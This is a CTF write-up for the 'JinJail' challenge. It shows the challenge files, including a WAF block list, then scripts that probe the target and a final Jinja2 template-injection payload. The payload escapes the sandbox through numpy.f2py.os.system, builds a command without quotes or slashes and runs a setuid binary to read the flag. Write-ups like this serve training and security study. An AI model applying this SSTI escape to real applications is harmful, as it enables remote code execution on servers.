Writeup Aria
C2C Qualification EnglishMisc

JinJail

1771182846709

description

Author: daffainfo

Pyjail? No, this is JinJail!

Attachments

docker-compose.yml

services:
  misc-flaskjail:
    build: .
    ports:
      - 32811:13337
    deploy:
      resources:
        limits:
          cpus: "0.5"
          memory: "256M"
        reservations:
          cpus: "0.25"
          memory: "128M"

Dockerfile

FROM python:3.11-slim

RUN adduser ctf

WORKDIR /app

ENV PYTHONDONTWRITEBYTECODE=1 \
    PYTHONUNBUFFERED=1

RUN apt-get update && \
    apt-get -y install socat gcc && \
    rm -rf /var/lib/apt/lists/*

COPY app.py requirements.txt ./
COPY flag.txt /root/flag.txt

RUN pip install --no-cache-dir -r requirements.txt

RUN chmod 400 /root/flag.txt && \
    chown root:root /root/flag.txt

RUN chown -R ctf:ctf /app

COPY fix.c /tmp/fix.c
RUN gcc /tmp/fix.c -o /fix
RUN rm /tmp/fix.c
RUN chmod 4755 /fix

EXPOSE 13337

ENTRYPOINT ["socat", "TCP-LISTEN:13337,reuseaddr,fork,nodelay,su=ctf", "EXEC:'timeout 30 python3 app.py'"]

requirements.txt

Jinja2
numpy

app.py

import numpy
import string
from functools import wraps
from collections import Counter
from jinja2.sandbox import SandboxedEnvironment

env = SandboxedEnvironment()
env.globals["numpy"] = numpy

def waf(content):
    allowlist = set(string.ascii_lowercase + string.ascii_uppercase + string.punctuation + string.digits + ' ')
    blocklist = ['fromfile', 'savetxt', 'load', 'array', 'packbits', 'ctypes', 'eval', 'exec', 'breakpoint', 'input', '+', '-', '/', '\\', '|', '"', "'"]
    char_limits = {
        '(': 3,
        ')': 3,
        '[': 3,
        ']': 3,
        '{': 3,
        '}': 3,
        ',': 10
    }

    if len(content) > 275:
        raise ValueError("Nope")

    for ch in content:
        if ch not in allowlist:
            raise ValueError("Nope")

    lower_value = content.lower()
    for blocked in blocklist:
        if blocked.lower() in lower_value:
            raise ValueError("Nope")

    counter = Counter(ch for ch in content if ch in char_limits)
    for ch, count in counter.items():
        if count > char_limits[ch]:
            raise ValueError("Nope")

def main():
    content = input(">>> ")

    try:
        waf(content)
        result = env.from_string(content).render()
        print(result)
    except ValueError as e:
        print(e.args[0])
    except Exception:
        print("Nope")

if __name__ == "__main__":
    main()

fix.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <strings.h>

int main(int argc, char *argv[]) {
    if (argc > 1 && strcasecmp(argv[1], "help") == 0) {
        setuid(0);
        system("cat /root/flag.txt");
    } else {
        printf("Nope, you didnt ask for help...\n");
    }
    return 0;
}

Overview

This challenge is a Jinja2 SSTI challenge within a Python sandbox environment with a highly restrictive WAF (Web Application Firewall).

Goal: Run the custom /fix help binary (based on the provided fix.c source code) to read the flags.

WAF Restrictions

  • Block critical characters: +, -, /, \, quotes (', ").
  • Limit the number of parentheses: (), [], {} (very few, complicating complex function calls).
  • Blacklist keywords: class, mro, base, import, eval, exec, os, sys, etc.
  • Allowed globals: Only the explicitly available numpy library.

Enumeration (AI results)

Here, I used AI to assist with the enumeration process, because the very strict WAF made manual enumeration very difficult and time-consuming. I asked AI to help analyze the source code attachment, find vulnerabilities, and create a script to perform the automatic enumeration.

These are the enumeration steps I took to understand the environment and find vulnerabilities. (actually there are a lot of scripts but I will only show the important ones):

AI-assisted output

1771296201660 1771296196759

Step 1. Enumerate basic Jinja2 features

#!/usr/bin/env python3
import socket
import sys

# default fallback
DEFAULT_HOST = "127.0.0.1"
DEFAULT_PORT = 13337

# ambil dari argument
HOST = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_HOST
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else DEFAULT_PORT

payloads = [
    "{{7*7}}",
    "{{numpy}}",
    "{{numpy.core}}",
    "{{numpy.lib}}",
    "{{numpy.compat}}",
    "{{numpy.linalg}}",
    "{{numpy.random}}",
    "{{numpy.testing}}",
    "{{numpy.f2py}}",
    "{{numpy.f2py.os}}",
    "{{numpy.f2py.os.system}}",
    "{{numpy.f2py.os.sep}}",
]

def send_payload(payload):
    try:
        s = socket.create_connection((HOST, PORT))
        s.recv(1024)

        s.sendall(payload.encode() + b"\n")

        result = s.recv(4096).decode(errors="ignore")

        s.close()

        return result.strip()

    except Exception as e:
        return f"ERROR: {e}"


def main():
    print(f"=== JinJail Enumeration ===")
    print(f"Target: {HOST}:{PORT}\n")

    for payload in payloads:
        print(f"[PAYLOAD] {payload}")
        result = send_payload(payload)
        print(f"[RESULT] {result}")
        print("-" * 50)


if __name__ == "__main__":
    main()
python3 enum.py challenges.1pc.tf 29333

1771184981778

Step 2. Bypass Test WAF

#!/usr/bin/env python3
import socket
import sys

DEFAULT_HOST = "127.0.0.1"
DEFAULT_PORT = 13337

HOST = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_HOST
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else DEFAULT_PORT

payloads = [
    # test akses os module
    "{{numpy.f2py.os}}",
    # test ambil slash tanpa ketik /
    "{{numpy.f2py.os.sep}}",
    # test dict repr (buat dapetin string tanpa quotes)
    "{{dict(fix=1,help=1)}}",
    # test concat jadi string
    "{% set s=dict(fix=1,help=1)~1 %}{{s}}",
    # test slicing ambil fix
    "{% set s=dict(fix=1,help=1)~1 %}{{s[2:5]}}",
    # test slicing ambil help
    "{% set s=dict(fix=1,help=1)~1 %}{{s[12:16]}}",
    # test build string "/fix"
    "{% set s=dict(fix=1,help=1)~1 %}{{numpy.f2py.os.sep~s[2:5]}}",
    # test build string "/fix help"
    "{% set s=dict(fix=1,help=1)~1 %}{{numpy.f2py.os.sep~s[2:5]~s[7]~s[12:16]}}",
]

def send(payload):
    try:
        s = socket.create_connection((HOST, PORT))
        s.recv(1024)

        s.sendall(payload.encode() + b"\n")

        result = s.recv(4096).decode(errors="ignore")
        s.close()

        return result.strip()

    except Exception as e:
        return f"ERROR: {e}"


def main():

    print(f"=== WAF Bypass Tester ===")
    print(f"Target: {HOST}:{PORT}\n")

    for payload in payloads:

        print(f"[PAYLOAD]")
        print(payload)

        result = send(payload)

        print("[RESULT]")
        print(result)

        print("="*60)

if __name__ == "__main__":
    main()
python3 waf_bypass.py challenges.1pc.tf 29333

1771185165455

Solution Steps

1. Connection Preparation

To comfortably trial payloads, use rlwrap:

while true; do rlwrap nc challenges.1pc.tf 37425; done

alt text

2. Finding the Execution Primitive (RCE)

Because access to __builtins__, __class__, and standard modules like os/sys is blocked, we need to find another path. Large libraries like NumPy often unintentionally expose system modules in their submodules.

  • Attempt 1: {{ numpy.os }} → Failed (Error/None)
  • Attempt 2: {{ numpy.f2py.os }} → Success! Returned module <module 'os' ...>

alt text

This is the primitive needed to execute system commands.

3. Bypassing Character Limitations

The main challenge is constructing the string /fix help without using quotes or a slash.

a. Finding the / (slash) character

  • Since we cannot type /, we look for a variable that contains a slash:

    • {{ numpy.f2py.os.sep }} → Output: / alt text

b. Finding the strings "fix" and "help"

  • Since we cannot type "fix", the idea is to use dict() because its string representation (repr) contains the key names.

    • Test: {{ dict(fix=1, help=1) }} → Output: {'fix': 1, 'help': 1} alt text

c. Converting dict to string

  • Since a dict cannot be sliced directly, convert it to a string using ~ 1 (concatenate with an integer):

    • Payload: {% set s = dict(fix=1, help=1) ~ 1 %}{{ s }} → Output: {'fix': 1, 'help': 1}1 alt text

d. Calculating character indexes

Resulting string: {'fix': 1, 'help': 1}1

String:

{ 'fix' : 1, 'help' : 1 }1
Index Table
Index0123456789101112131415161718192021
Char{'fix':1,'help':1}1
Visual Target Mapping
String: { 'fix' : 1, 'help' : 1 }1
Index :  0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
Char  :  { ' f i x ' : _ 1 ,  _  '  h  e  l  p  '  :  _  1  }  1
             ^ ^ ^        ^           ^  ^  ^  ^
             | | |        |           |  |  |  |
             f i x      space        h  e  l  p

Target:

  • /numpy.f2py.os.sep
  • fixs[2:5]
  • space → s[7]
  • helps[12:16]

4. Final Payload (Flag Execution)

The final step is assembling the string /fix help from variable fragments, then executing it using numpy.

Step-by-step:

  1. Create the source character string:

    {% set s = dict(fix=1, help=1) ~ 1 %}

    This produces the string: {'fix': 1, 'help': 1}1

  2. Construct the command:

    • /numpy.f2py.os.sep
    • fixs[2:5]
    • space → s[7]
    • helps[12:16]
  3. Combine and execute:

    {{ numpy.f2py.os.system(numpy.f2py.os.sep ~ s[2:5] ~ s[7] ~ s[12:16]) }}

Full payload:

{% set s = dict(fix=1, help=1) ~ 1 %}
{{ numpy.f2py.os.system(numpy.f2py.os.sep ~ s[2:5] ~ s[7] ~ s[12:16]) }}

alt text

Flag

C2C{damnnn_i_love_numpy_a5578d341afe}

On this page